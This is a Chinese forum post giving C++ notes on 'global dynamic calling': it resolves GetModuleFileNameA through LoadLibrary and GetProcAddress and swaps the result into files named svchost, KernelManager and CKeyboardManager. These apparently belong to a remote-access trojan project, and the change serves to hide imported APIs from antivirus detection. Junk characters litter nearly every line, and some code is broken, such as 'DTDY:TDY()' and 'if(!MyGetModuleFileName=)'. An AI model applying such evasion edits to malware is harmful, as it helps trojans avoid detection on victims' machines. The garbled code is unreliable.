返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
, j& s, ?6 h. M3 Asvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h+ V1 a; d, c$ h
----------------------------------------
$ U3 c: T( @2 T2 I2 ~2 VDTDY.h:
- D: d7 e+ e3 v2 F) U( e5 D4 f: {1 ]& E  z6 t$ C2 J
#if _MSC_VER>1000
, E. b7 Y/ D$ l' s#pragma once
0 V( j9 o1 s* e/ a  z0 w7 v#endif //_MSC_VER>1000
. I( w- M( F3 \#include<windows.h>' G/ v& m2 A1 `" {' h% w1 e& ?, V! p
! X$ s# {( ^0 R7 f# E( p8 h- C$ t
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 z) p$ K, g& j/ J, {, E6 Qclass DTDY% T7 P6 R1 ^+ E3 d+ d$ L1 n) S
{
3 G3 a) e; e% l% z4 u* \public:4 `: ~6 r& @9 z% ~5 b' R9 w
DTDY();
1 v5 |8 Z. J' l, L; t# Lvirtual ~DTDY();
  o! s1 D0 c1 Dpublic:# q% |9 b  S4 e7 _1 ~1 |! n5 A3 x; {
static pGetModuleFileNameA MyGetModuleFileName;, L$ _8 G2 _: c
static BOOL FunInitiallization();" \9 D& w7 n" \  K
};% o' q0 Q1 M( r$ o% E+ _
#endif6 t5 C7 [. K3 y$ v8 D5 J, E) q
----------------------------------------
! @8 L6 j* p& M2 }- ~( L, x, i
- A$ s/ o$ s1 a  P/ V/ k9 eDTDY.cpp:
% D& ]5 R) \  C$ f9 F# ?0 ~7 l, z$ k! Q2 m1 D9 K
#include "DTDY.h"1 J, R  P* v9 F. @( }
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;3 J/ D$ _$ G9 V3 {" F4 s/ g/ A6 o4 a9 J
DTDY:TDY()
7 _* k& ~0 L. ?9 ^) W7 \0 R1 e{
/ F  w5 J0 e! S+ S}( z- p5 X- z1 [8 p1 B
DTDY::~DTDY()
* H- S  Z; O! L# w{! k$ I3 [: R' O6 ]; _
}' G, B+ \( G4 s5 i/ h
BOOL DTDY::FunInitiallization()0 x: R) C. L$ q/ p7 Z3 _5 ~: j
{& o, X0 U3 q" M; u2 I2 {
HMODULE hModule=LoadLibrary("kernel32.dll");: k, \) f) f+ K
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
  m; _3 V8 X# ^* sif(!MyGetModuleFileName=) return FALSE;% ~, d, Q9 z6 ]$ u$ y5 B
: I: g% j$ x) `; G
return TRUE;1 F' K0 I8 Y. G0 G& |
}: }6 g: K7 ]$ v5 _( Z
----------------------------------------
/ k) y: o! T) vsvchost.cpp:
/ U! L* l4 K6 ?# r/ E( r$ i7 G; ~
#include "DTDY.h"* v; a* ^' c, ~+ [, r0 p* P- e

+ Y, d: U  A- hBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)( Z1 w! H& d, m8 y* S6 l
{
+ a" b% m9 C8 I$ X) @5 c, ~switch(ul_reason_for_call)
- t& N2 e6 t% i# X0 j; O3 V+ h{9 ^( ?, ^" e% R3 b/ B$ Q
case DLL_PROCESS_ATTACH:
4 {' f# S) H2 Uif(!DTDY::FunInitiallization()) return FALSE;
. p3 {7 F: Z0 R2 U, M; e# g5 h! o4 g! l2 @
break;, z' I- E+ T. T0 p  C
}
0 ^% q+ a; K+ A$ y+ N# E6 W2 K9 \}
) n3 J5 X6 l/ c3 f* U; W
  ]$ g3 S: T6 k( a" _" e7 q; ?# W+ s" n* n0 I
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def+ T+ h0 h" j3 D
改写为
, ?1 h, w/ x8 `" e- BDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
7 R3 j6 g' t2 B% q) t! h  x- r( K: H----------------------------------------
3 K) I  L7 x) t5 C) u8 YKernelManager.cpp:6 I& _+ m( y: Q! }" |7 g" G
3 @7 _" |' L* ?4 V1 B
#include "../DTDY.h". G5 Y: a3 V, p  G
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));2 j! w$ l- A2 z. [
改写为
! i4 D7 g! A( KDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
' G; [0 U8 k+ K; {----------------------------------------

返回列表